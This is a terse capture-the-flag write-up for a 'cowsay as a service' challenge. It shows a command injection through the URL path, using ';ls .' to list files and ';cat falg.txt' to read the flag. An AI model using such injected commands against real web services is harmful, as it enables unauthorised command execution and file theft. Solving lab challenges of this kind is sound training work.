caas

Do Command Injection

/cowsay/flag;ls . lists the contents -- there's a text file "falg.txt"

/cowsay/flag;cat falg.txt